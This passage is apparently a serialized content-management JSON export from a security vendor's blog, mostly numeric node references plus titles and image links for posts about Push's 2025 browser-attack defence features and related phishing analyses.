Type":1003},{},[102835],{"data":102836,"content":102837,"nodeType":866},{},[102838],{"data":102839,"marks":102840,"value":98807,"nodeType":865},{},[],{"data":102842,"content":102843,"nodeType":1003},{},[102844],{"data":102845,"content":102846,"nodeType":866},{},[102847,102850,102854],{"data":102848,"marks":102849,"value":98817,"nodeType":865},{},[],{"data":102851,"marks":102852,"value":98822,"nodeType":865},{},[102853],{"type":944},{"data":102855,"marks":102856,"value":98826,"nodeType":865},{},[],{"data":102858,"content":102859,"nodeType":1003},{},[102860],{"data":102861,"content":102862,"nodeType":866},{},[102863],{"data":102864,"marks":102865,"value":98836,"nodeType":865},{},[],{"data":102867,"content":102868,"nodeType":866},{},[102869],{"data":102870,"marks":102871,"value":98843,"nodeType":865},{},[],{"data":102873,"content":102874,"nodeType":1458},{},[102875],{"data":102876,"marks":102877,"value":98850,"nodeType":865},{},[],{"data":102879,"content":102880,"nodeType":866},{},[102881],{"data":102882,"marks":102883,"value":98857,"nodeType":865},{},[],{"data":102885,"content":102886,"nodeType":1049},{},[102887,102896,102905],{"data":102888,"content":102889,"nodeType":1003},{},[102890],{"data":102891,"content":102892,"nodeType":866},{},[102893],{"data":102894,"marks":102895,"value":98870,"nodeType":865},{},[],{"data":102897,"content":102898,"nodeType":1003},{},[102899],{"data":102900,"content":102901,"nodeType":866},{},[102902],{"data":102903,"marks":102904,"value":98880,"nodeType":865},{},[],{"data":102906,"content":102907,"nodeType":1003},{},[102908],{"data":102909,"content":102910,"nodeType":866},{},[102911],{"data":102912,"marks":102913,"value":98890,"nodeType":865},{},[],{"data":102915,"content":102918,"nodeType":925},{"target":102916},{"sys":102917},{"id":98895,"type":922,"linkType":923},[],{"data":102920,"content":102921,"nodeType":866},{},[102922,102925,102929,102932,102936,102939,102943],{"data":102923,"marks":102924,"value":98903,"nodeType":865},{},[],{"data":102926,"marks":102927,"value":98908,"nodeType":865},{},[102928],{"type":961},{"data":102930,"marks":102931,"value":2186,"nodeType":865},{},[],{"data":102933,"marks":102934,"value":98916,"nodeType":865},{},[102935],{"type":961},{"data":102937,"marks":102938,"value":3892,"nodeType":865},{},[],{"data":102940,"marks":102941,"value":91395,"nodeType":865},{},[102942],{"type":961},{"data":102944,"marks":102945,"value":98927,"nodeType":865},{},[],{"data":102947,"content":102950,"nodeType":925},{"target":102948},{"sys":102949},{"id":91650,"type":922,"linkType":923},[],{"data":102952,"content":102953,"nodeType":866},{},[102954],{"data":102955,"marks":102956,"value":98939,"nodeType":865},{},[],{"data":102958,"content":102959,"nodeType":866},{},[102960],{"data":102961,"marks":102962,"value":98946,"nodeType":865},{},[],{"data":102964,"content":102965,"nodeType":1049},{},[102966,102975,102984],{"data":102967,"content":102968,"nodeType":1003},{},[102969],{"data":102970,"content":102971,"nodeType":866},{},[102972],{"data":102973,"marks":102974,"value":98959,"nodeType":865},{},[],{"data":102976,"content":102977,"nodeType":1003},{},[102978],{"data":102979,"content":102980,"nodeType":866},{},[102981],{"data":102982,"marks":102983,"value":98969,"nodeType":865},{},[],{"data":102985,"content":102986,"nodeType":1003},{},[102987],{"data":102988,"content":102989,"nodeType":866},{},[102990],{"data":102991,"marks":102992,"value":98979,"nodeType":865},{},[],{"data":102994,"content":102995,"nodeType":866},{},[102996,102999,103007],{"data":102997,"marks":102998,"value":98986,"nodeType":865},{},[],{"data":103000,"content":103003,"nodeType":15311},{"target":103001},{"sys":103002},{"id":98991,"type":922,"linkType":923},[103004],{"data":103005,"marks":103006,"value":98996,"nodeType":865},{},[],{"data":103008,"marks":103009,"value":1048,"nodeType":865},{},[],{"data":103011,"content":103012,"nodeType":953},{},[],{"data":103014,"content":103015,"nodeType":963},{},[103016],{"data":103017,"marks":103018,"value":99009,"nodeType":865},{},[],{"data":103020,"content":103021,"nodeType":1458},{},[103022],{"data":103023,"marks":103024,"value":98659,"nodeType":865},{},[],{"data":103026,"content":103027,"nodeType":866},{},[103028,103031,103037,103040,103046],{"data":103029,"marks":103030,"value":99022,"nodeType":865},{},[],{"data":103032,"content":103033,"nodeType":882},{"uri":94448},[103034],{"data":103035,"marks":103036,"value":99029,"nodeType":865},{},[],{"data":103038,"marks":103039,"value":99033,"nodeType":865},{},[],{"data":103041,"content":103042,"nodeType":882},{"uri":94461},[103043],{"data":103044,"marks":103045,"value":99040,"nodeType":865},{},[],{"data":103047,"marks":103048,"value":99044,"nodeType":865},{},[],{"data":103050,"content":103051,"nodeType":866},{},[103052],{"data":103053,"marks":103054,"value":99051,"nodeType":865},{},[],{"data":103056,"content":103057,"nodeType":866},{},[103058],{"data":103059,"marks":103060,"value":99058,"nodeType":865},{},[],{"data":103062,"content":103063,"nodeType":866},{},[103064],{"data":103065,"marks":103066,"value":99065,"nodeType":865},{},[],{"data":103068,"content":103069,"nodeType":1458},{},[103070],{"data":103071,"marks":103072,"value":98850,"nodeType":865},{},[],{"data":103074,"content":103075,"nodeType":866},{},[103076],{"data":103077,"marks":103078,"value":99078,"nodeType":865},{},[],{"data":103080,"content":103083,"nodeType":925},{"target":103081},{"sys":103082},{"id":99083,"type":922,"linkType":923},[],{"data":103085,"content":103086,"nodeType":866},{},[103087,103090,103094],{"data":103088,"marks":103089,"value":99091,"nodeType":865},{},[],{"data":103091,"marks":103092,"value":91395,"nodeType":865},{},[103093],{"type":961},{"data":103095,"marks":103096,"value":99099,"nodeType":865},{},[],{"data":103098,"content":103099,"nodeType":1049},{},[103100,103109,103118,103127],{"data":103101,"content":103102,"nodeType":1003},{},[103103],{"data":103104,"content":103105,"nodeType":866},{},[103106],{"data":103107,"marks":103108,"value":99112,"nodeType":865},{},[],{"data":103110,"content":103111,"nodeType":1003},{},[103112],{"data":103113,"content":103114,"nodeType":866},{},[103115],{"data":103116,"marks":103117,"value":99122,"nodeType":865},{},[],{"data":103119,"content":103120,"nodeType":1003},{},[103121],{"data":103122,"content":103123,"nodeType":866},{},[103124],{"data":103125,"marks":103126,"value":99132,"nodeType":865},{},[],{"data":103128,"content":103129,"nodeType":1003},{},[103130],{"data":103131,"content":103132,"nodeType":866},{},[103133],{"data":103134,"marks":103135,"value":99142,"nodeType":865},{},[],{"data":103137,"content":103140,"nodeType":925},{"target":103138},{"sys":103139},{"id":94338,"type":922,"linkType":923},[],{"data":103142,"content":103143,"nodeType":866},{},[103144,103147,103155],{"data":103145,"marks":103146,"value":99154,"nodeType":865},{},[],{"data":103148,"content":103151,"nodeType":15311},{"target":103149},{"sys":103150},{"id":79835,"type":922,"linkType":923},[103152],{"data":103153,"marks":103154,"value":99163,"nodeType":865},{},[],{"data":103156,"marks":103157,"value":1048,"nodeType":865},{},[],{"data":103159,"content":103160,"nodeType":953},{},[],{"data":103162,"content":103163,"nodeType":963},{},[103164],{"data":103165,"marks":103166,"value":99176,"nodeType":865},{},[],{"data":103168,"content":103169,"nodeType":1458},{},[103170],{"data":103171,"marks":103172,"value":98659,"nodeType":865},{},[],{"data":103174,"content":103175,"nodeType":866},{},[103176,103179,103187],{"data":103177,"marks":103178,"value":99189,"nodeType":865},{},[],{"data":103180,"content":103183,"nodeType":15311},{"target":103181},{"sys":103182},{"id":99194,"type":922,"linkType":923},[103184],{"data":103185,"marks":103186,"value":99199,"nodeType":865},{},[],{"data":103188,"marks":103189,"value":10349,"nodeType":865},{},[],{"data":103191,"content":103192,"nodeType":866},{},[103193],{"data":103194,"marks":103195,"value":99209,"nodeType":865},{},[],{"data":103197,"content":103198,"nodeType":866},{},[103199,103202,103210,103213,103219],{"data":103200,"marks":103201,"value":99216,"nodeType":865},{},[],{"data":103203,"content":103206,"nodeType":15311},{"target":103204},{"sys":103205},{"id":73788,"type":922,"linkType":923},[103207],{"data":103208,"marks":103209,"value":19437,"nodeType":865},{},[],{"data":103211,"marks":103212,"value":99228,"nodeType":865},{},[],{"data":103214,"content":103215,"nodeType":882},{"uri":74099},[103216],{"data":103217,"marks":103218,"value":10345,"nodeType":865},{},[],{"data":103220,"marks":103221,"value":99238,"nodeType":865},{},[],{"data":103223,"content":103224,"nodeType":866},{},[103225,103228,103236],{"data":103226,"marks":103227,"value":99245,"nodeType":865},{},[],{"data":103229,"content":103232,"nodeType":15311},{"target":103230},{"sys":103231},{"id":99250,"type":922,"linkType":923},[103233],{"data":103234,"marks":103235,"value":39522,"nodeType":865},{},[],{"data":103237,"marks":103238,"value":99258,"nodeType":865},{},[],{"data":103240,"content":103241,"nodeType":1458},{},[103242],{"data":103243,"marks":103244,"value":98850,"nodeType":865},{},[],{"data":103246,"content":103247,"nodeType":866},{},[103248,103251,103259],{"data":103249,"marks":103250,"value":99271,"nodeType":865},{},[],{"data":103252,"content":103255,"nodeType":15311},{"target":103253},{"sys":103254},{"id":99276,"type":922,"linkType":923},[103256],{"data":103257,"marks":103258,"value":99281,"nodeType":865},{},[],{"data":103260,"marks":103261,"value":99285,"nodeType":865},{},[],{"data":103263,"content":103264,"nodeType":866},{},[103265],{"data":103266,"marks":103267,"value":99292,"nodeType":865},{},[],{"data":103269,"content":103270,"nodeType":866},{},[103271],{"data":103272,"marks":103273,"value":99299,"nodeType":865},{},[],{"data":103275,"content":103276,"nodeType":1049},{},[103277,103301],{"data":103278,"content":103279,"nodeType":1003},{},[103280],{"data":103281,"content":103282,"nodeType":866},{},[103283,103287,103290,103298],{"data":103284,"marks":103285,"value":99313,"nodeType":865},{},[103286],{"type":961},{"data":103288,"marks":103289,"value":99317,"nodeType":865},{},[],{"data":103291,"content":103294,"nodeType":15311},{"target":103292},{"sys":103293},{"id":99322,"type":922,"linkType":923},[103295],{"data":103296,"marks":103297,"value":99327,"nodeType":865},{},[],{"data":103299,"marks":103300,"value":99331,"nodeType":865},{},[],{"data":103302,"content":103303,"nodeType":1003},{},[103304],{"data":103305,"content":103306,"nodeType":866},{},[103307,103311,103314,103322],{"data":103308,"marks":103309,"value":99342,"nodeType":865},{},[103310],{"type":961},{"data":103312,"marks":103313,"value":99317,"nodeType":865},{},[],{"data":103315,"content":103318,"nodeType":15311},{"target":103316},{"sys":103317},{"id":99350,"type":922,"linkType":923},[103319],{"data":103320,"marks":103321,"value":99355,"nodeType":865},{},[],{"data":103323,"marks":103324,"value":99359,"nodeType":865},{},[],{"data":103326,"content":103327,"nodeType":866},{},[103328],{"data":103329,"marks":103330,"value":99366,"nodeType":865},{},[],{"data":103332,"content":103335,"nodeType":925},{"target":103333},{"sys":103334},{"id":99371,"type":922,"linkType":923},[],{"data":103337,"content":103338,"nodeType":866},{},[103339,103342,103346],{"data":103340,"marks":103341,"value":99379,"nodeType":865},{},[],{"data":103343,"marks":103344,"value":80221,"nodeType":865},{},[103345],{"type":961},{"data":103347,"marks":103348,"value":1048,"nodeType":865},{},[],{"data":103350,"content":103351,"nodeType":866},{},[103352,103355,103359],{"data":103353,"marks":103354,"value":873,"nodeType":865},{},[],{"data":103356,"marks":103357,"value":80221,"nodeType":865},{},[103358],{"type":961},{"data":103360,"marks":103361,"value":99400,"nodeType":865},{},[],{"data":103363,"content":103364,"nodeType":866},{},[103365,103368,103376],{"data":103366,"marks":103367,"value":99407,"nodeType":865},{},[],{"data":103369,"content":103372,"nodeType":15311},{"target":103370},{"sys":103371},{"id":80023,"type":922,"linkType":923},[103373],{"data":103374,"marks":103375,"value":99416,"nodeType":865},{},[],{"data":103377,"marks":103378,"value":99420,"nodeType":865},{},[],{"data":103380,"content":103383,"nodeType":925},{"target":103381},{"sys":103382},{"id":99425,"type":922,"linkType":923},[],{"data":103385,"content":103386,"nodeType":866},{},[103387,103390,103398],{"data":103388,"marks":103389,"value":99433,"nodeType":865},{},[],{"data":103391,"content":103394,"nodeType":15311},{"target":103392},{"sys":103393},{"id":99438,"type":922,"linkType":923},[103395],{"data":103396,"marks":103397,"value":99443,"nodeType":865},{},[],{"data":103399,"marks":103400,"value":99447,"nodeType":865},{},[],{"data":103402,"content":103403,"nodeType":866},{},[103404],{"data":103405,"marks":103406,"value":99454,"nodeType":865},{},[],{"data":103408,"content":103409,"nodeType":953},{},[],{"data":103411,"content":103412,"nodeType":963},{},[103413],{"data":103414,"marks":103415,"value":99464,"nodeType":865},{},[],{"data":103417,"content":103418,"nodeType":1458},{},[103419],{"data":103420,"marks":103421,"value":98659,"nodeType":865},{},[],{"data":103423,"content":103424,"nodeType":866},{},[103425],{"data":103426,"marks":103427,"value":99477,"nodeType":865},{},[],{"data":103429,"content":103430,"nodeType":866},{},[103431],{"data":103432,"marks":103433,"value":99484,"nodeType":865},{},[],{"data":103435,"content":103436,"nodeType":866},{},[103437,103440,103448],{"data":103438,"marks":103439,"value":99491,"nodeType":865},{},[],{"data":103441,"content":103444,"nodeType":15311},{"target":103442},{"sys":103443},{"id":99496,"type":922,"linkType":923},[103445],{"data":103446,"marks":103447,"value":99501,"nodeType":865},{},[],{"data":103449,"marks":103450,"value":99505,"nodeType":865},{},[],{"data":103452,"content":103453,"nodeType":1458},{},[103454],{"data":103455,"marks":103456,"value":98850,"nodeType":865},{},[],{"data":103458,"content":103459,"nodeType":866},{},[103460,103463,103471],{"data":103461,"marks":103462,"value":99518,"nodeType":865},{},[],{"data":103464,"content":103467,"nodeType":15311},{"target":103465},{"sys":103466},{"id":80107,"type":922,"linkType":923},[103468],{"data":103469,"marks":103470,"value":99527,"nodeType":865},{},[],{"data":103472,"marks":103473,"value":99531,"nodeType":865},{},[],{"data":103475,"content":103478,"nodeType":925},{"target":103476},{"sys":103477},{"id":91345,"type":922,"linkType":923},[],{"data":103480,"content":103481,"nodeType":866},{},[103482],{"data":103483,"marks":103484,"value":99543,"nodeType":865},{},[],{"data":103486,"content":103487,"nodeType":1049},{},[103488,103497,103506],{"data":103489,"content":103490,"nodeType":1003},{},[103491],{"data":103492,"content":103493,"nodeType":866},{},[103494],{"data":103495,"marks":103496,"value":99556,"nodeType":865},{},[],{"data":103498,"content":103499,"nodeType":1003},{},[103500],{"data":103501,"content":103502,"nodeType":866},{},[103503],{"data":103504,"marks":103505,"value":99566,"nodeType":865},{},[],{"data":103507,"content":103508,"nodeType":1003},{},[103509],{"data":103510,"content":103511,"nodeType":866},{},[103512],{"data":103513,"marks":103514,"value":99576,"nodeType":865},{},[],{"data":103516,"content":103517,"nodeType":866},{},[103518,103521,103529],{"data":103519,"marks":103520,"value":99583,"nodeType":865},{},[],{"data":103522,"content":103525,"nodeType":15311},{"target":103523},{"sys":103524},{"id":80107,"type":922,"linkType":923},[103526],{"data":103527,"marks":103528,"value":99163,"nodeType":865},{},[],{"data":103530,"marks":103531,"value":1048,"nodeType":865},{},[],{"data":103533,"content":103534,"nodeType":953},{},[],{"data":103536,"content":103537,"nodeType":963},{},[103538],{"data":103539,"marks":103540,"value":99604,"nodeType":865},{},[],{"data":103542,"content":103543,"nodeType":1458},{},[103544],{"data":103545,"marks":103546,"value":98659,"nodeType":865},{},[],{"data":103548,"content":103549,"nodeType":866},{},[103550],{"data":103551,"marks":103552,"value":99617,"nodeType":865},{},[],{"data":103554,"content":103555,"nodeType":866},{},[103556,103559,103567],{"data":103557,"marks":103558,"value":99624,"nodeType":865},{},[],{"data":103560,"content":103563,"nodeType":15311},{"target":103561},{"sys":103562},{"id":99629,"type":922,"linkType":923},[103564],{"data":103565,"marks":103566,"value":8764,"nodeType":865},{},[],{"data":103568,"marks":103569,"value":99637,"nodeType":865},{},[],{"data":103571,"content":103572,"nodeType":1458},{},[103573],{"data":103574,"marks":103575,"value":98850,"nodeType":865},{},[],{"data":103577,"content":103578,"nodeType":866},{},[103579,103582,103586],{"data":103580,"marks":103581,"value":99650,"nodeType":865},{},[],{"data":103583,"marks":103584,"value":99655,"nodeType":865},{},[103585],{"type":961},{"data":103587,"marks":103588,"value":1048,"nodeType":865},{},[],{"data":103590,"content":103593,"nodeType":925},{"target":103591},{"sys":103592},{"id":99663,"type":922,"linkType":923},[],{"data":103595,"content":103596,"nodeType":866},{},[103597],{"data":103598,"marks":103599,"value":99671,"nodeType":865},{},[],{"data":103601,"content":103602,"nodeType":866},{},[103603],{"data":103604,"marks":103605,"value":99678,"nodeType":865},{},[],{"data":103607,"content":103608,"nodeType":866},{},[103609,103612,103620],{"data":103610,"marks":103611,"value":99685,"nodeType":865},{},[],{"data":103613,"content":103616,"nodeType":15311},{"target":103614},{"sys":103615},{"id":99690,"type":922,"linkType":923},[103617],{"data":103618,"marks":103619,"value":98996,"nodeType":865},{},[],{"data":103621,"marks":103622,"value":1048,"nodeType":865},{},[],{"data":103624,"content":103625,"nodeType":953},{},[],{"data":103627,"content":103628,"nodeType":963},{},[103629],{"data":103630,"marks":103631,"value":1704,"nodeType":865},{},[],{"data":103633,"content":103634,"nodeType":866},{},[103635],{"data":103636,"marks":103637,"value":99713,"nodeType":865},{},[],{"data":103639,"content":103640,"nodeType":866},{},[103641],{"data":103642,"marks":103643,"value":99720,"nodeType":865},{},[],{"data":103645,"content":103646,"nodeType":866},{},[103647,103650,103656,103659,103665],{"data":103648,"marks":103649,"value":99727,"nodeType":865},{},[],{"data":103651,"content":103652,"nodeType":882},{"uri":80479},[103653],{"data":103654,"marks":103655,"value":80484,"nodeType":865},{},[],{"data":103657,"marks":103658,"value":99737,"nodeType":865},{},[],{"data":103660,"content":103661,"nodeType":882},{"uri":16213},[103662],{"data":103663,"marks":103664,"value":1734,"nodeType":865},{},[],{"data":103666,"marks":103667,"value":1048,"nodeType":865},{},[],{"entries":103669},{"inline":103670,"hyperlink":103671,"block":103736},[],[103672,103676,103680,103684,103688,103692,103694,103698,103700,103704,103708,103712,103716,103718,103722,103726,103728,103732],{"sys":103673,"__typename":1788,"title":103674,"slug":103675},{"id":98689},"Introducing our guide to phishing detection evasion techniques","phishing-detection-evasion-launch",{"sys":103677,"__typename":1788,"title":103678,"slug":103679},{"id":98718},"Analysing a malvertising attack targeting business Google accounts intercepted by Push","analysing-a-malvertising-attack-targeting-business-google-accounts",{"sys":103681,"__typename":1788,"title":103682,"slug":103683},{"id":98731},"How Push stopped a high risk LinkedIn spear-phishing attack against a company exec","how-push-stopped-a-high-risk-linkedin-spear-phishing-attack",{"sys":103685,"__typename":1788,"title":103686,"slug":103687},{"id":98759},"Analyzing the latest Sneaky2FA Browser-in-the-Browser phishing page","analyzing-the-latest-sneaky2fa-phishing-page",{"sys":103689,"__typename":1788,"title":103690,"slug":103691},{"id":98991},"Introducing Push Detections: Equipping SecOps and IR teams to stop browser-based attacks","introducing-push-detections",{"sys":103693,"__typename":81775,"title":81791,"slug":81792,"articleId":81793},{"id":79835},{"sys":103695,"__typename":1788,"title":103696,"slug":103697},{"id":99194},"6 breaches in 5 months: Why attackers are targeting Jira with stolen credentials","why-attackers-are-targeting-jira-with-stolen-credentials",{"sys":103699,"__typename":1788,"title":74729,"slug":74732},{"id":73788},{"sys":103701,"__typename":1788,"title":103702,"slug":103703},{"id":99250},"Snowflake: Looking back on 2024’s landmark security event","snowflake-retro",{"sys":103705,"__typename":1788,"title":103706,"slug":103707},{"id":99276},"Eliminate false positives with verified stolen credential detections using Push","verified-stolen-credential-detection",{"sys":103709,"__typename":1788,"title":103710,"slug":103711},{"id":99322},"Introducing Push password enforcement — for when weak passwords are still plaguing you","introducing-strong-password-enforcement",{"sys":103713,"__typename":1788,"title":103714,"slug":103715},{"id":99350},"No more hard simple problems: Enforce MFA on third-party apps with Push","enforce-mfa-on-third-party-apps",{"sys":103717,"__typename":81775,"title":81796,"slug":81797,"articleId":81798},{"id":80023},{"sys":103719,"__typename":1788,"title":103720,"slug":103721},{"id":99438},"Don’t let attackers find the keys to your kingdom in a personal password manager","stop-users-saving-corp-creds-into-personal-password-managers",{"sys":103723,"__typename":1788,"title":103724,"slug":103725},{"id":99496},"Guide to secure browser extension deployment","guide-to-secure-browser-extension-deployment",{"sys":103727,"__typename":81775,"title":81816,"slug":81817,"articleId":81818},{"id":80107},{"sys":103729,"__typename":1788,"title":103730,"slug":103731},{"id":99629},"Scattered Spider: TTP evolution in 2025","scattered-spider-ttp-evolution-in-2025",{"sys":103733,"__typename":1788,"title":103734,"slug":103735},{"id":99690},"A simple, browser-based way to protect your help desk against social engineering","employee-identity-verification-codes-release",[103737,103762,103766,103773,103780,103784,103791,103797,103804],{"sys":103738,"__typename":9270,"content":103739,"name":103761,"title":59},{"id":98627},{"json":103740},{"nodeType":1739,"data":103741,"content":103742},{},[103743],{"nodeType":866,"data":103744,"content":103745},{},[103746,103750,103758],{"nodeType":865,"value":103747,"marks":103748,"data":103749},"Learn more about these attacks and the rise of the Scattered Lapsus$ Hunters supergroup in our ",[],{},{"nodeType":882,"data":103751,"content":103753},{"uri":103752},"/blog/scattered-lapsus-hunters/",[103754],{"nodeType":865,"value":103755,"marks":103756,"data":103757},"recent blog post",[],{},{"nodeType":865,"value":1048,"marks":103759,"data":103760},[],{},"Scattered Lapsus$ Hunters blog promo",{"sys":103763,"__typename":12453,"title":103764,"arcadeDemoUrl":103765,"playText":12456},{"id":98895},"Detect and respond to browser-based attacks","https://demo.arcade.software/FDPVuWkgezE91MicpCx7?embed",{"sys":103767,"__typename":1747,"title":103768,"caption":59,"layoutMode":59,"file":103769},{"id":91650},"Detection details slideout w/ timeline etc. - KB 10136",{"url":103770,"width":103771,"height":103772},"https://images.ctfassets.net/y1cdw1ablpvd/6qMAmnkXcJpsp19n7YANTV/b89b76929cc68387121c60ee3c48b0f2/detection_enrichment_example.png",977,758,{"sys":103774,"__typename":1747,"title":103775,"caption":59,"layoutMode":59,"file":103776},{"id":99083},"Clickfix detection block page",{"url":103777,"width":103778,"height":103779},"https://images.ctfassets.net/y1cdw1ablpvd/5QM8JNSvpRk1y7eoYw7CLw/ae9e6aa8b27c067f88cfb600c57c0a34/malicious_copypaste_block_example.png",2568,1604,{"sys":103781,"__typename":12453,"title":103782,"arcadeDemoUrl":103783,"playText":12456},{"id":94338},"ClickFix Feature Release","https://demo.arcade.software/qhzGMAx2q3b6IRlHqBsB?embed",{"sys":103785,"__typename":1747,"title":103786,"caption":59,"layoutMode":59,"file":103787},{"id":99371},"MFA enforcement banner - KB 10121",{"url":103788,"width":103789,"height":103790},"https://images.ctfassets.net/y1cdw1ablpvd/1H45Qj9vCfyQTCMxs8ypU5/6eeb494d24a904058d5635f290569889/Screenshot_2024-12-09_at_1.58.57_PM.png",1438,785,{"sys":103792,"__typename":1747,"title":103793,"caption":59,"layoutMode":59,"file":103794},{"id":99425},"Password protection block screen for end-users - KB 10109",{"url":103795,"width":91143,"height":103796},"https://images.ctfassets.net/y1cdw1ablpvd/5y1AiJEoLP6BveEJwDKhAL/ba22c55dced3ec2842093000ea050fa7/protected_pwd_block_screen_branded_20260420.png",1622,{"sys":103798,"__typename":1747,"title":103799,"caption":59,"layoutMode":59,"file":103800},{"id":91345},"Extension enumeration - KB 10138",{"url":103801,"width":103802,"height":103803},"https://images.ctfassets.net/y1cdw1ablpvd/1dByBmqYgpC9KhPkZoUbGN/0d65ee5ce5abceed6e8538319d83d761/extension_data_table_20251216.png",1480,826,{"sys":103805,"__typename":1747,"title":103806,"caption":59,"layoutMode":59,"file":103807},{"id":99663},"Employee verification codes - Labs - for June 2025 release notes",{"url":103808,"width":103809,"height":103810},"https://images.ctfassets.net/y1cdw1ablpvd/4es73ojyk572RJHuSrAahL/91be55af18fbcfb5f2fc3067497c9746/employee_verification_code_annotated.png",472,241,{"items":103812},[],{},"Push features we built in 2025 to stop browser-based attacks","product-feature",{"items":103817},[103818,104646,105394],{"__typename":1788,"sys":103819,"content":103820,"title":74729,"synopsis":74730,"hashTags":59,"publishedDate":74731,"slug":74732,"tagsCollection":104636,"authorsCollection":104642},{"id":73788},{"json":103821},{"data":103822,"content":103823,"nodeType":1739},{},[103824,103830,103836,103842,103845,103852,103858,103864,103869,103875,103880,103896,103902,103912,103915,103922,103928,103941,103947,103957,103962,103965,103972,103979,103984,103992,104008,104016,104022,104030,104045,104053,104059,104067,104093,104101,104107,104115,104131,104136,104144,104150,104158,104191,104194,104201,104209,104225,104233,104239,104247,104273,104278,104286,104292,104297,104300,104307,104315,104321,104372,104377,104380,104387,104395,104401,104406,104409,104416,104422,104428,104488,104494,104549,104555,104558,104565,104571,104577,104582,104585,104592,104598,104604,104610],{"data":103825,"content":103826,"nodeType":866},{},[103827],{"data":103828,"marks":103829,"value":73799,"nodeType":865},{},[],{"data":103831,"content":103832,"nodeType":866},{},[103833],{"data":103834,"marks":103835,"value":73806,"nodeType":865},{},[],{"data":103837,"content":103838,"nodeType":866},{},[103839],{"data":103840,"marks":103841,"value":73813,"nodeType":865},{},[],{"data":103843,"content":103844,"nodeType":953},{},[],{"data":103846,"content":103847,"nodeType":963},{},[103848],{"data":103849,"marks":103850,"value":73824,"nodeType":865},{},[103851],{"type":961},{"data":103853,"content":103854,"nodeType":866},{},[103855],{"data":103856,"marks":103857,"value":73831,"nodeType":865},{},[],{"data":103859,"content":103860,"nodeType":866},{},[103861],{"data":103862,"marks":103863,"value":73838,"nodeType":865},{},[],{"data":103865,"content":103868,"nodeType":925},{"target":103866},{"sys":103867},{"id":73843,"type":922,"linkType":923},[],{"data":103870,"content":103871,"nodeType":866},{},[103872],{"data":103873,"marks":103874,"value":73851,"nodeType":865},{},[],{"data":103876,"content":103879,"nodeType":925},{"target":103877},{"sys":103878},{"id":73856,"type":922,"linkType":923},[],{"data":103881,"content":103882,"nodeType":866},{},[103883,103886,103893],{"data":103884,"marks":103885,"value":73864,"nodeType":865},{},[],{"data":103887,"content":103888,"nodeType":882},{"uri":39517},[103889],{"data":103890,"marks":103891,"value":73872,"nodeType":865},{},[103892],{"type":997},{"data":103894,"marks":103895,"value":73876,"nodeType":865},{},[],{"data":103897,"content":103898,"nodeType":866},{},[103899],{"data":103900,"marks":103901,"value":73883,"nodeType":865},{},[],{"data":103903,"content":103904,"nodeType":866},{},[103905,103908],{"data":103906,"marks":103907,"value":73890,"nodeType":865},{},[],{"data":103909,"marks":103910,"value":73895,"nodeType":865},{},[103911],{"type":961},{"data":103913,"content":103914,"nodeType":953},{},[],{"data":103916,"content":103917,"nodeType":963},{},[103918],{"data":103919,"marks":103920,"value":73906,"nodeType":865},{},[103921],{"type":961},{"data":103923,"content":103924,"nodeType":866},{},[103925],{"data":103926,"marks":103927,"value":73913,"nodeType":865},{},[],{"data":103929,"content":103930,"nodeType":866},{},[103931,103934,103938],{"data":103932,"marks":103933,"value":73920,"nodeType":865},{},[],{"data":103935,"marks":103936,"value":73925,"nodeType":865},{},[103937],{"type":961},{"data":103939,"marks":103940,"value":73929,"nodeType":865},{},[],{"data":103942,"content":103943,"nodeType":866},{},[103944],{"data":103945,"marks":103946,"value":73936,"nodeType":865},{},[],{"data":103948,"content":103949,"nodeType":866},{},[103950,103953],{"data":103951,"marks":103952,"value":73943,"nodeType":865},{},[],{"data":103954,"marks":103955,"value":73948,"nodeType":865},{},[103956],{"type":961},{"data":103958,"content":103961,"nodeType":925},{"target":103959},{"sys":103960},{"id":73953,"type":922,"linkType":923},[],{"data":103963,"content":103964,"nodeType":953},{},[],{"data":103966,"content":103967,"nodeType":963},{},[103968],{"data":103969,"marks":103970,"value":73965,"nodeType":865},{},[103971],{"type":961},{"data":103973,"content":103974,"nodeType":1458},{},[103975],{"data":103976,"marks":103977,"value":73973,"nodeType":865},{},[103978],{"type":961},{"data":103980,"content":103983,"nodeType":925},{"target":103981},{"sys":103982},{"id":73978,"type":922,"linkType":923},[],{"data":103985,"content":103986,"nodeType":866},{},[103987],{"data":103988,"marks":103989,"value":73988,"nodeType":865},{},[103990,103991],{"type":961},{"type":997},{"data":103993,"content":103994,"nodeType":866},{},[103995,103998,104005],{"data":103996,"marks":103997,"value":73995,"nodeType":865},{},[],{"data":103999,"content":104000,"nodeType":882},{"uri":73998},[104001],{"data":104002,"marks":104003,"value":74004,"nodeType":865},{},[104004],{"type":997},{"data":104006,"marks":104007,"value":74008,"nodeType":865},{},[],{"data":104009,"content":104010,"nodeType":866},{},[104011],{"data":104012,"marks":104013,"value":74017,"nodeType":865},{},[104014,104015],{"type":961},{"type":997},{"data":104017,"content":104018,"nodeType":866},{},[104019],{"data":104020,"marks":104021,"value":74024,"nodeType":865},{},[],{"data":104023,"content":104024,"nodeType":866},{},[104025],{"data":104026,"marks":104027,"value":74033,"nodeType":865},{},[104028,104029],{"type":961},{"type":997},{"data":104031,"content":104032,"nodeType":866},{},[104033,104036,104042],{"data":104034,"marks":104035,"value":74040,"nodeType":865},{},[],{"data":104037,"content":104038,"nodeType":882},{"uri":74043},[104039],{"data":104040,"marks":104041,"value":74048,"nodeType":865},{},[],{"data":104043,"marks":104044,"value":74052,"nodeType":865},{},[],{"data":104046,"content":104047,"nodeType":866},{},[104048],{"data":104049,"marks":104050,"value":74061,"nodeType":865},{},[104051,104052],{"type":961},{"type":997},{"data":104054,"content":104055,"nodeType":866},{},[104056],{"data":104057,"marks":104058,"value":74068,"nodeType":865},{},[],{"data":104060,"content":104061,"nodeType":866},{},[104062],{"data":104063,"marks":104064,"value":74077,"nodeType":865},{},[104065,104066],{"type":961},{"type":997},{"data":104068,"content":104069,"nodeType":866},{},[104070,104073,104080,104083,104090],{"data":104071,"marks":104072,"value":74084,"nodeType":865},{},[],{"data":104074,"content":104075,"nodeType":882},{"uri":3904},[104076],{"data":104077,"marks":104078,"value":74092,"nodeType":865},{},[104079],{"type":997},{"data":104081,"marks":104082,"value":74096,"nodeType":865},{},[],{"data":104084,"content":104085,"nodeType":882},{"uri":74099},[104086],{"data":104087,"marks":104088,"value":10345,"nodeType":865},{},[104089],{"type":997},{"data":104091,"marks":104092,"value":74108,"nodeType":865},{},[],{"data":104094,"content":104095,"nodeType":866},{},[104096],{"data":104097,"marks":104098,"value":74117,"nodeType":865},{},[104099,104100],{"type":961},{"type":997},{"data":104102,"content":104103,"nodeType":866},{},[104104],{"data":104105,"marks":104106,"value":741